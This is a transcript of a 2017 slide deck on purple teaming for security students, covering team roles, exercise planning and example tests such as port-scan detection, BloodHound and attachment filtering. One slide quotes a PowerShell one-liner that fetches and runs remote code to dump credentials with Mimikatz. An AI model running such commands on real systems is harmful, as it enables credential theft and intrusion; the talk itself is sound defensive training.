際際滷

際際滷Share a Scribd company logo

UOIT Purple Team - Student Edition 2017

Haydn Johnson
Haydn Johnson

This is a talk I presented to students at UOIT. Edited to be more relevant for networking / security 1st and 2nd year students

Convert to study materialsBETA

Transform any presentation into ready-made study materialselect from outputs like summaries, definitions, and practice questions.

1 of 130
Downloaded 24 times
@haydnjohnson Purple Team what, why, how, even Students - Feel free to reach out to me and ask any questions. We gotta look after our own Canadians
@haydnjohnson Whoami Haydn Johnson Security Analyst | Manager | Purple Teamer Points (points.com) @haydnjohnson Talks: Bsides, Circle City Con, HackFest, SecTor. NolaCon Offsec, Purple Team, Gym?? http://www.slideshare.net/HaydnJohnson
3 I work here!
@haydnjohnson 1. Outline give a summary of (something).
@haydnjohnson Outline Terminology Security in General Red Team Blue Team What is Purple Teaming Core concept Process Togetherness Examples of Purple Teaming NMap Mimikatz Attachment Testing Table Top BloodHound OpenDLP
@haydnjohnson Full disclosure Most slides taken from my Purple Team OWASP Austin Talk Re-adjusted for students
@haydnjohnson Security in general
@haydnjohnson What is this security thing? No clear definition! Many different parts of security CIA Triangle
@haydnjohnson What is this security thing? CONFIDENTIALITY INTEGRITY AVAILABILITY
@haydnjohnson What is this security thing? AVAILABILITY Business only see:
@haydnjohnson What is this security thing? Types of Jobs: Security Manager Intrusion Analyst Incident Responder Policy Analyst GRC / Audit Penetration Tester Red Teamer Exploit Developer Threat Intelligence + MANY MORE
@haydnjohnson Purple Team OR Questions / Career Discussion
@haydnjohnson 1. Terminology What means what https://www.mitre.org/sites/default/files/publications/pr_14-3929-cyber-exercise-playbook.pdf
@haydnjohnson Terminology
@haydnjohnson Terminology Vulnerability Assessment Person - Run Vuln Scanner....hey client you suck Penetration Tester - Metasploit / MSF PRO (FTW)...hey client you suck Red Teaming - Phish, move laterally, find sensitive stuff, maybe custom implant...hey client you suck Purple Teaming - You did all the above, but got to charge for an extra body and to tell the client how they suck in person
@haydnjohnson Terminology Red Teaming - Red Team engagements are the full spectrum warfare of security assessments. In a red team engagement, the consultants attack the client organization using physical means, social engineering, and technological avenues. From: http://winterspite.com/security/phrasing/
@haydnjohnson Terminology From: http://winterspite.com/security/phrasing/ Red Teaming
@haydnjohnson From: Chris Nickerson Lares Consulting
@haydnjohnson Terminology Blue Team Network defenders Support Firewalls | Blinky Boxes Responders
@haydnjohnson Terminology Purple Team Working together to achieve the ultimate goal of making the organization more secure different threats & attacker mindset incident detection and response policy and procedures tuning of controls
@haydnjohnson
@haydnjohnson 2. Purple Team Process what | how
@haydnjohnson Purple Team Conducting focused pentesting (up to Red Teaming) with clear training objectives for the Blue Team. It isn't a "can you get access to X" exercise it is a "train the Blue Team on X" exercise. The pentesting activities are a means to conduct realistic training.
@haydnjohnson Purple Team Primary result of the exercise is to create an intrusion event (aka get caught) to test instrumentation (host/ network), validate detection processes and procedures, validate protections in place, force response procedures and post mortems. Differs from Red Team where primary goal is to NOT get caught
@haydnjohnson Purple Team Togetherness AttackDefend
@haydnjohnson 3. Cyber Exercises MITRE cyber exercise playbook https://www.mitre.org/sites/default/files/publications/pr_14-3929-cyber-exercise-playbook.pdf
@haydnjohnson
@haydnjohnson Events / Injects Events - generally executed by the Red Team to elicit responses from the Blue Team in specific phases, focused on the objectives of the exercise.
@haydnjohnson Different Teams within cyber exercises
@haydnjohnson Exercises - Teams ECG GREY RED BLUE
@haydnjohnson Exercises - Teams Exercise Control Group Take information from other teams and make decision to ensure the exercise is controlled and reaches its goals. IR Manager Team Lead VP ECG
@haydnjohnson Exercises - Teams Gray Team / Observers Observe the Blue Team's reaction or non-reaction and report back to ECG. Ongoing process IR Manager Team Lead VP GREY
@haydnjohnson Exercises - Teams
@haydnjohnson Phases of cyber exercises
@haydnjohnson Phases of a Cyber Exercise Plan Execution Lessons Learned
@haydnjohnson Exercises - Planning Preliminary Meeting Middle Meetings Final Meeting
@haydnjohnson Exercises - Planning By failing to prepare, you are preparing to fail. Benjamin Franklin Everything needs consideration, pros, cons and a plan! 1. Brainstorming 2. Action Items 3. Budget / Approval
@haydnjohnson Exercises - Planning Each team needs to know the end goals (except Blue) Red Team needs to know what injects and when. Goals: 1. To prevent confusion 2. Finalize Objectives 3. Identify if training is required 4. Decide on Use Cases
@haydnjohnson Exercises - Ideas Initial Weakness New technology New Team Test assumption Budget Devils advocate
@haydnjohnson Exercises - Ideas https://github.com/aptnotes/data/blob/master/APTnotes.csv
@haydnjohnson Exercises - Execution Execution Go Time Observe, Change, Observe Be Dynamic
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 RT tasked with action
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 RT tasked with action Execute inject / event
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 3 Collects information RT tasked with action Execute inject / event
@haydnjohnson Exercise Control Group Red Team Training Audience Observers 1 2 3 4 Collects information Feedback to ECG RT tasked with action Execute inject / event
@haydnjohnson Exercises - Execution What if no response? No Alerts?
@haydnjohnson Exercise Control Group Red Team Training Audience Observers ! Check for hackers.fu
@haydnjohnson Exercise Control Group Red Team Training Audience Observers ! Check alert for mal.exe
@haydnjohnson Exercises - Lessons Learned What observations were made during the exercise. What went well, what didnt Positive and negative - constructive
@haydnjohnson Exercises - Lessons Learned Internally we need to prepare better Ensure findings are document Think of more alternative tests
@haydnjohnson Exercises - Lessons Learned Exercise Good Bad Improvements Follow-up
@haydnjohnson Exercises - Lessons Learned Collect Information from everyone Strengthen future exercises Exercise Control Group Red Team Training Audience Observers
@haydnjohnson 4. Example exercises Using CKC & EKC
@haydnjohnson Nmap Mimikatz Malicious Attachment Testing BloodHound Tabletop Exercise OpenDLP
@haydnjohnson Port Scanning Detection Nmap
@haydnjohnson Example 1 - Nmap # of People Required: 1 Level of knowledge required: Little Documentation online: Many Time to Test Minimal Disruption to Business None
@haydnjohnson Example 1 - Nmap Test if Nmap / Port scans can be seen internally or externally What do the alerts look like?
@haydnjohnson Example 1 - Nmap Start Basic Increase complexity Fragmentation
@haydnjohnson Example 1 - Nmap $END POINT SOLUTION catches Nmap $EPS misses fragmentation / slow scans Each workstation gives ALERT Try with Avast, McAfee, Symantec etc
@haydnjohnson Example 1 - Nmap https://nmap.org/book/man-bypass-firewalls-ids.html
@haydnjohnson Example 1 - Nmap Why Nmap? APT wont use Nmap It is a start Simple & cheap Test current technology
@haydnjohnson Example 1 - PowerShell Advancing the exercise
@haydnjohnson PowerShell Remoting Mimikatz
@haydnjohnson Example 2- Credentials in Memory # of People Required: 1 -2 Level of knowledge required: Little Documentation online: Many Time to Test Minimal Disruption to Business None
@haydnjohnson Example 2- Credentials in Memory Helpdesk / Ops wants a secure way to remotely manage workstation(s). RDP | VNC - no thanks Want to use PowerShell Remoting because easier and secure https://blog.netspi.com/powershell-remoting-cheatsheet/
@haydnjohnson Example 2- Credentials in Memory Requirements Ease of use Secure Auditbility Research shows this is possible
@haydnjohnson Example 2- Credentials in Memory Steps: Before PS-Remoting After PS-Remoting
@haydnjohnson Example 2- Credentials in Memory Need to know for sure Want to test credentials are safe See for self Mimikatz comes in
@haydnjohnson Example 2- Credentials in Memory Command Run: powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds | Out-File pre.txt http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-pa sswords-with.html
@haydnjohnson Example 2- Credentials in Memory Dumping credentials
@haydnjohnson Example 2- Credentials in Memory PS-Remote
@haydnjohnson Example 2- Credentials in Memory Compare
@haydnjohnson Example 2 - Credentials in Memory Thumbs up success gift] / image
@haydnjohnson Example 2- Credentials in Memory Success! Need to document Have justification to Implement! Security Gives sign off!
@haydnjohnson email filter Malicious Attachment Testing
@haydnjohnson Example 3 - Malicious Attachment Testing <Email> is great at filtering malicious emails, attachments etc. We want to see what gets through to know what to expect What could get through
@haydnjohnson Example 3 - Malicious Attachment Testing Malicious File Maker @carnal0wnage https://github.com/carnal0wnage/malicious_file_make r
@haydnjohnson Example 3 - Malicious Attachment Testing Automates sending
@haydnjohnson Example 3 - Malicious Attachment Testing AV Pop-Ups
@haydnjohnson Example 3 - Malicious Attachment Testing
@haydnjohnson Example 3 - Malicious Attachment Testing
@haydnjohnson Example 3 - Malicious Attachment Testing Not script kiddie friendly
@haydnjohnson Example 3 - Malicious Attachment Testing Some attachments you cannot send
@haydnjohnson Example 3 - Malicious Attachment Testing Receiving file attachments
@haydnjohnson Example 3 - Malicious Attachment Testing The goal: Confirm email attachment filtering Confirm attachments that bypass Document findings for reference Potential defenses / future steps
@haydnjohnson Example 3 - Malicious Attachment Testing Which allows us: Potential tuning to block file types Research file types for use in the wild Identification of compensating controls
@haydnjohnson BloodHound Domain Admin Paths
@haydnjohnson Example 4 - Domain Admin Paths # of People Required: 1 -2 Level of knowledge required: Enough to install the tool Documentation online: Installation instructions Time to Test Minimal Disruption to Business Potential to pop alerts
@haydnjohnson Example 4 - Domain Admin Paths Goals: Identify Domain Admins Identify derivative admins Weakness in the chain of trust
@haydnjohnson Example 4 - Domain Admin Paths BloodHound command: https://blog.stealthbits.com/attacking-active-directory-permissions-with-bloodhound/ https://wald0.com/?p=112 https://github.com/BloodHoundAD/BloodHound/wiki/Getting-started
@haydnjohnson Example 4 - Domain Admin Paths Tested with helpdesk access
@haydnjohnson Example 4 - Domain Admin Paths Mystery account SUPERHERO identified via ACLs
@haydnjohnson Example 4 - Domain Admin Paths Follow up on mystery account Create Ticket Does it require the access it has? Test with a group that has less access
@haydnjohnson Table Top Exercise
@haydnjohnson Example 4 - Table Top Exercise # of People Required: Many Level of knowledge required: Varied Documentation online: Yes Time to Test Long term Disruption to Business 1 day +
@haydnjohnson Example 4 - Table Top Exercise Goals: Raise awareness Practice before it happens
@haydnjohnson Example 4 - Table Top Exercise Pre Hack During Post https://www.sans.org/reading-room/whitepapers/analyst/killing-advanced-threats-tracks-intelligent- approach-attack-prevention-35302
@haydnjohnson Example 4 - Table Top Exercise Pre Hack $Group Threaten Company https://www.sans.org/reading-room/whitepapers/analyst/killing-advanced-threats-tracks-intelligent- approach-attack-prevention-35302
@haydnjohnson
@haydnjohnson Example 4 - Table Top Exercise Response A
@haydnjohnson Example 4 - Table Top Exercise Response B
@haydnjohnson Example 4 - Table Top Exercise ECURITY C - LEVEL PR IT
@haydnjohnson Example 4 - Table Top Exercise Technical Response IR Hardening Public Response Disclosure Insurance
@haydnjohnson Example 4 - Table Top Exercise Do this for each stage: Pre Hack During Post Hack
@haydnjohnson OpenDLP Lateral Movement
@haydnjohnson Example 5 - Lateral Movement # of People Required: 1-2 Level of knowledge required: Ability to find network shares Documentation online: Yes Time to Test hours Disruption to Business Minimal
@haydnjohnson Example 5 - Lateral Movement Goals: Is there sensitive information at rest? What data could be accessed on network shares
@haydnjohnson Please note Exercises do not have to be offsec tool focused Attacker mindset is important Testing assumptions
@haydnjohnson Example 5 - Lateral Movement OpenDLP Data Loss prevention tool Identifies sensitive data at rest on thousands of systema Not easy to install https://github.com/ezarko/opendlp
@haydnjohnson Example 5 - Lateral Movement OpenDLP Video Reference Bsides Cleveland 2017 Blue-Teamin' on a Budget [of Zero] https://www.youtube.com/watch?v=77M0aO2F2fU
@haydnjohnson Example 5 - Lateral Movement Download OVA Transfer sc.exe from XP 32bit Install browser sert Start apache connect
@haydnjohnson Example 5 - Lateral Movement Issues with install: sc.exe 32bit Accessing web server Solution: XP http://www.makeuseof.com/tag/download-wi ndows-xp-for-free-and-legally-straight-from- microsoft-si/
@haydnjohnson Example 5 - Lateral Movement Import cert
@haydnjohnson Example 5 - Lateral Movement Looks like this
@haydnjohnson Example 5 - Lateral Movement PII Credit card data etc
@haydnjohnson Example 5 - Lateral Movement Report looks like:
@haydnjohnson Example 5 - Lateral Movement This is still a work in progress. Wondering how I can create a process out of it
@haydnjohnson Conclusion
@haydnjohnson 5. Career / Infosec Stuff Ask questions. Open Forum
@haydnjohnson My Career in Depth
@haydnjohnson From Australia Masters of I.T - infosec specialization Internship @ Deloitte Australia Graduate program @ Deloitte Move to Deloitte Canada Move to KPMG Canada Move to Points
@haydnjohnson Social Media Infosec Twitter
@haydnjohnson Infosec Twitter General information Feeling part of a community Mentors / Mentees Motivation
@haydnjohnson Speaking publicly
@haydnjohnson Speaking / Publicity Local Bsides Toronto CO submission to Circle City Con CO Submission to HackFest BsidesLV Mentee program (Proving grounds) CO Submission to SecTor (Chris Gates mentoring)
@haydnjohnson Speaking / Publicity Benefits Knowing your topic enough to speak Communication Skills Networking Speaking itself
@haydnjohnson Github
@haydnjohnson Github I sort of have one Lots of dead end projects Contributed to Gdog
@haydnjohnson GitHub Benefits Shows more than a CV Contribute to known projects Little projects that are recorded
@haydnjohnson Questions Career stuff others

More Related Content

UOIT Purple Team - Student Edition 2017